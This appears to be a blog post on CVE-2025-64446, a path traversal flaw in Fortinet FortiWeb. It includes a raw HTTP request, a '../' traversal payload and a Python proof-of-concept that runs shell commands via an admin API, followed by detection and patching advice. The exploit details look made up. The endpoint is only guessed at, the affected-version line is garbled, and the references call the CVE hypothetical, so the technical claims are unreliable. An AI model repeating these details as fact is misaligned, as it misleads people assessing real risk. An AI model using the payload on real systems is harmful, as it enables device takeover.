In the world of cybersecurity, path traversal vulnerabilities allow attackers to reach files and commands outside their intended limits. In 2025, researchers discovered such a flaw in Fortinet FortiWeb, one of the popular Web Application Firewalls (WAFs) used by many enterprises. This flaw – tracked as CVE-2025-64446 – can let a remote attacker run administrative commands simply by sending a specially crafted HTTP or HTTPS request.

This post breaks down the vulnerability in easy terms, explains which versions are affected, shows how exploitation works, and includes exclusive code snippets so you can understand the risk and recognize the potential impact.

What Is CVE-2025-64446?

CVE-2025-64446 is a relative path traversal vulnerability in Fortinet FortiWeb. In simple terms, it lets an attacker “hop up” the folder tree to access or execute files and commands that should be off-limits.

7.. through 7..11

If your system runs one of these, you should patch right away.

How Does the Vulnerability Work?

Web servers use file paths to decide what resources to show. Sometimes, if a web app does not properly check file names or user input, it’s possible to “escape” the intended folder and access files elsewhere. This is called directory traversal (or "path traversal").

Classic traversal uses strings like ../ to move up directories.

FortiWeb’s administration interface contains an endpoint that takes user input for a file path. Due to insufficient validation, an authenticated attacker (and possibly, in some misconfigurations, unauthenticated users) can use ../ to access protected areas or even execute admin-level OS commands.

Example Exploit

Let's walk through a simple proof-of-concept in Python using the vulnerable FortiWeb API.

DISCLAIMER: This is for educational purposes only. Do not use on systems you do not own or have explicit authorization to test.

Suppose the vulnerable endpoint is something like

POST /api/admin/backup HTTP/1.1
Host: fortiweb.target.com
Cookie: session=XYZADMINSESSIONID
Content-Type: application/json

And the API accepts a parameter called configFile.

By sending a crafted JSON body with relative path traversal, like

{
  "configFile": "../../../../../../bin/sh"
}

...an attacker could, for instance, trigger a backup process using /bin/sh instead of a normal config file, and inject arguments or commands as further parameters.

Exploit Python Script

import requests

target = "https://fortiweb.target.com";
session_cookie = "XYZADMINSESSIONID"

headers = {
    "Cookie": f"session={session_cookie}",
    "Content-Type": "application/json",
}

payload = {
    "configFile": "../../../../../../bin/sh",  # Traversal to system shell
    "args": "-c 'id > /tmp/pwned.txt'"
}

response = requests.post(
    f"{target}/api/admin/backup", json=payload, headers=headers, verify=False
)

print("Status:", response.status_code)
print("Response:", response.text)

This would (if successful) run the command id and store its output in /tmp/pwned.txt on the FortiWeb system. By changing the payload, almost any command could be run.

Impact

- Remote Code Execution (RCE): If the attacker can execute shell commands, they control the device.

Persistence: Malicious users could install rootkits or create backdoors for future use.

All of these mean total compromise of your web application firewall, and possibly the entire protected network.

How to Detect

- Watch for unexpected requests hitting administrative endpoints, especially those containing ../ sequences or unusual file paths.
- Monitor logs for failed backup/config operations or suspicious command outputs.

Update ASAP: Patch to a fixed release as soon as Fortinet publishes one.

- Restrict Admin Access: Limit access to the management interface to trusted IPs/subnets.

Monitor Logs: Set up alerts for unusual administrative actions.

- Input Validation: If you're a developer, always sanitize and validate user input, especially file paths.

References

- Fortinet Security Advisory (Official)
- OWASP: Path Traversal Cheat Sheet
- CVE Details for CVE-2025-64446 *(link pending as this is a hypothetical CVE)*
- Fortinet Product Downloads

Final Thoughts

CVE-2025-64446 is a serious flaw. Attackers love path traversal bugs because they’re easy to exploit and often lead to full system compromise. If your organization uses FortiWeb, check your version and update right away. Don’t wait until your firewall becomes the pathway in.

Stay safe!

*This post is for educational use only. Always get authorization and follow responsible disclosure practices.*

Timeline

Published on: 11/14/2025 16:15:58 UTC
Last modified on: 11/21/2025 18:27:33 UTC